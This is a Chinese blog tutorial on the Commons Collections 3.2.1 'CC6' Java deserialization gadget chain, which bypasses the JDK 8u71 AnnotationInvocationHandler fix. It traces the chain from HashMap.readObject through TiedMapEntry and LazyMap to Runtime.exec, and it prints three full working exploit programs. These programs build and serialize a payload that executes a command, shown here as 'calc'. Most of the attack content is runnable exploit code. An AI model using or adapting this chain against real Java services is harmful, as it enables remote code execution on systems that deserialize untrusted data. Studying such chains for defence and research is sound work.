前言
因为JDK8u71后,Java 官方修改了 sun.reflect.annotation.AnnotationInvocationHandler 的readObject函数
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
- s.defaultReadObject();
+ ObjectInputStream.GetField fields = s.readFields();
+
+ @SuppressWarnings("unchecked")
+ Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type", null);
+ @SuppressWarnings("unchecked")
+ Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues", null);
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
- annotationType = AnnotationType.getInstance(type);
+ annotationType = AnnotationType.getInstance(t);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
+ // consistent with runtime Map type
+ Map<String, Object> mv = new LinkedHashMap<>();
// If there are annotation members without values, that
// situation is handled by the invoke method.
- for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
+ for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {
String name = memberValue.getKey();
+ Object value = null;
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
- Object value = memberValue.getValue();
+ value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
- memberValue.setValue(
- new AnnotationTypeMismatchExceptionProxy(
+ value = new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
- annotationType.members().get(name)));
+ annotationType.members().get(name));
}
}
+ mv.put(name, value);
+ }
+
+ UnsafeAccessor.setType(this, t);
+ UnsafeAccessor.setMemberValues(this, mv);
+ }
改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。 所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执 行set或put操作,也就不会触发RCE了。
那有没有一条链不受版本限制呢?有,就是今天说的CC6链,下面正式开始介绍。
环境搭建
- Jdk 8u71
- Comoons-Collections 3.2.1
- jdk8u/jdk8u/jdk: a25327bdbff5
下载完后打开OpenJDK,将src/share/classes下的sun文件夹复制到 JDK 8u71的src中
![](https://i-blog.csdnimg.cn/blog_migrate/896eb23a557ae606d7be401c14e49205.png)
![](https://i-blog.csdnimg.cn/blog_migrate/3a9eeb4c2270d67873751104a20b8ce2.png)
然后在SDKs中导入就好了
![](https://i-blog.csdnimg.cn/blog_migrate/951dbc061ff1feda4a807dc78e943701.png)
CC6链分析
这条链相当于 CC1链+URLDNS链,尾部的exec方法还是和CC链的一样,这里就不说了。
![](https://i-blog.csdnimg.cn/blog_migrate/9a0d65b44ac159a7f6171dc7b429a877.png)
对应的EXP:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(c);
HashMap<Object, Object> map = new HashMap<>();
map.put("value","aaa");
Map<Object,Object> transforedMap = TransformedMap.decorate(map,null,chainedTransformer);
1.找链子
接下来就是找哪个类调用了LazyMap的get()方法,前面我们说通过find Usage来寻找,我们来看一下结果
![](https://i-blog.csdnimg.cn/blog_migrate/6dde41624ec5914abd9075145676cc07.png)
4435个results.......只能说很d很卷,能那么多个调用中找到一个合适的构造链子。根据 ysoSerial 官方的链子,是TiedMapEntry类中的getValue()方法调用了LazyMap的get()方法。
![](https://i-blog.csdnimg.cn/blog_migrate/ffe30bea3f78c42f779042a29b86ded3.png)
继续找谁调用了TiedMapEntry的getValue()方法,找的时候一般先在同一个类中查找,不行再find Usage。可以发现,在同一个类的hashCode()方法中调用了getValue()。
![](https://i-blog.csdnimg.cn/blog_migrate/29d6b0a999a6f20b768abfc825393b1e.png)
2.与入口类结合
前面已经到hashCode()这里了,那么我们该去找谁调用了hashCode()方法。这里参考别人的文章,在java反序列化中,找到hashCode()之后的链子用的基本是这一条。
xxx.readObject()
HashMap.put() --自动调用--> HashMap.hash()
后续利用链.hashCode()
更巧的是,hashMap本身就是一个完美的入口类,我们来看看它的readObject方法
![](https://i-blog.csdnimg.cn/blog_migrate/14819ebcc1ef934bd57e18b244cc2662.png)
在末尾可以看到它调用了hash方法,而HashMap的hash方法会调用key.hashCode()
![](https://i-blog.csdnimg.cn/blog_migrate/bf9bed77518603d231921ea399dfdce3.png)
那么我们令key==TiedMapEntry,不就可以调用TiedMapEntry的hashCode方法了么,所以整条链就出来了,梳理一下流程。
1.进入HashMap的readObject方法,readObject中触发HashMap的hash方法
2.触发hash的key.hashCode()进入TiedMapEntry的hashCode()
3.TiedMapEntry中hashCode()又调用getValue()方法
4.getValue方法中map.get(key)触发,进入LazyMap的get方法.....后面就是代码恶意执行了
![](https://i-blog.csdnimg.cn/blog_migrate/adac5ac02181da683254a0d733098184.png)
3.手写EXP
先把命令执行的那一段敲出来
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
![](https://i-blog.csdnimg.cn/blog_migrate/45c5658a06bd8549b6b7ccfcbdbab36e.png)
然后就是放入LazyMap中,让这个类的get方法执行命令
Map lazymap = LazyMap.decorate(new HashMap<>(),chainedTransformer);
![](https://i-blog.csdnimg.cn/blog_migrate/cc4fee1cee342063a8bab7a3cf2e3f32.png)
接着我们不是要通过TiedMapEntry.getValue来调用LazyMap.get吗?那就看看getValue的参数
![](https://i-blog.csdnimg.cn/blog_migrate/49dfccb2cb6f9959ab58e3a370dc352e.png)
我们的目的是让map==LazyMap,那就通过TiedMapEntry的构造函数给map赋值
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
![](https://i-blog.csdnimg.cn/blog_migrate/a65c244c155b511adcfca1ddffdcd3ef.png)
而TiedMapEntry.hashCode()会调用getValue,那么接下来要做的就是让HashMap.hash()去调用TiedMapEntry.hashCode()。我们看到HashMap的hash方法接收的参数是key,会对key.hashCode()进行调用。
那我们通过map.put()让TiedMapEntry等于key就好了
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"value");
![](https://i-blog.csdnimg.cn/blog_migrate/8fe454c4ded3291e194b95a922a08178.png)
最后就是将map2序列化就行了,完整的EXP为:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class poc {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap<>(),chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"value");
serialize(map2);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
到这里其实EXP也算能用了,我们先把反序列化函数注释掉,然后运行会发现弹出计算器
![](https://i-blog.csdnimg.cn/blog_migrate/77b2d2a471b7ac068791f6e09cd70904.png)
为什么序列化的时候会弹出计算器呢?这里后面再说,我们再把序列化函数注释掉,让反序列化执行。会发现其实反序列化也成功了,勉强可以用。
![](https://i-blog.csdnimg.cn/blog_migrate/33292c529aa90357a5396eefa3f3fc01.png)
4.解决问题
这里探究一下为什么序列化的时候也会弹出计算器,我们在map2.put处打个断点,然后debug强制进入
![](https://i-blog.csdnimg.cn/blog_migrate/5b01f1e75408d16ed8280393c0a389fe.png)
发现会进入到HashMap的put里面,而put里面会调用hash方法,然后就会在序列化的时候,将链子提前走了一遍。
![](https://i-blog.csdnimg.cn/blog_migrate/7ff87937ce9aa51fbeb54a82b6a2e2f8.png)
为了解决这个问题,我们可以在LazyMap.decorate()放入chainedTransformer攻击语句的时候,将chainedTransformer换成人畜无害的new ConstantTransformer(1),让map2.put走的时候什么也不会执行
Map lazymap = LazyMap.decorate(new HashMap<>(),new ConstantTransformer(1));
因为最后是LazyMap.get()里的factory.transform()执行攻击语句
![](https://i-blog.csdnimg.cn/blog_migrate/0a09c279176e990341f620fe43e46a88.png)
所以我们在后面利用反射把LazyMap的factory值设为chainedTransformer(恶意代码),因为p.set的参数第一个参数要求是Object,所以这里写上面的lazymap。
Class c = LazyMap.class;
Field p = c.getDeclaredFields("factory");
p.setAccessible(true);
p.set(lazymap, chainedTransformer);
到目前为止,完整的EXP为:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class poc {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap<>(),new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"value");
Class c = LazyMap.class;
Field p = c.getDeclaredFields("factory");
p.setAccessible(true);
p.set(lazymap, chainedTransformer);
serialize(map2);
//unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
我们尝试序列化一下,发现不会弹出计算器了。
接着反序列化,发现也没有计算器弹出,这是怎么回事?
![](https://i-blog.csdnimg.cn/blog_migrate/ac1e43954698c2d95886c9b62e252a61.png)
我们在LazyMap的if处设置断点,在序列化的时候debug
![](https://i-blog.csdnimg.cn/blog_migrate/b22344bb3a67dbab923ffaa317d577e2.png)
发现会传入一个key,这个key从哪来的呢?我们看到TiedMapEntry的getValue,它调用LazyMap.get(key)的时候传入的。
![](https://i-blog.csdnimg.cn/blog_migrate/eaa913365bf3ca4b283e8645a2cbc37a.png)
而这个key通过EXP中的new TiedMapEntry(lazymap,"aaa")调用构造函数来赋值
![](https://i-blog.csdnimg.cn/blog_migrate/1cd3d4a98a96d626c046bb231793c68f.png)
这对我们后面反序列化有什么影响呢?序列化时,因为map2.put()方法,会将链子提前走一遍。走到LazyMap.get()处,进入if后会通过map.put(key,value)将aaa这个key写入map中。
![](https://i-blog.csdnimg.cn/blog_migrate/e79e3a64cda6b38f1a2c9c7c89f0bbbf.png)
那么在反序列化时,同样走到这个位置,if会判断map中是否包含aaa这个key。因为在序列化时会将aaa这个key写入map,所以这里返回的肯定是true,进不了循环,也就进不来if里面执行恶意代码。
![](https://i-blog.csdnimg.cn/blog_migrate/f63f4a3d567e8d62665ff84d72739bf5.png)
解决这个很简单,在后面将这个key移除就好
lazymap.remove("aaa");
最终EXP
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class poc {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"value");
lazymap.remove("aaa");
Class c = LazyMap.class;
Field p = c.getDeclaredField("factory");
p.setAccessible(true);
p.set(lazymap, chainedTransformer);
serialize(map2);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
看一下全过程的链子
HahsMap.readObject() HashMap.put() HashMap.hash() TiedMapEntry.hashCode() TiedMapEntry.getValue() LazyMap.get() ChainedTransformer.transform() InvokerTransformer.transform() Runtime.exec()
![](https://i-blog.csdnimg.cn/blog_migrate/9fc7194297d57a3b07bed41ec048c304.png)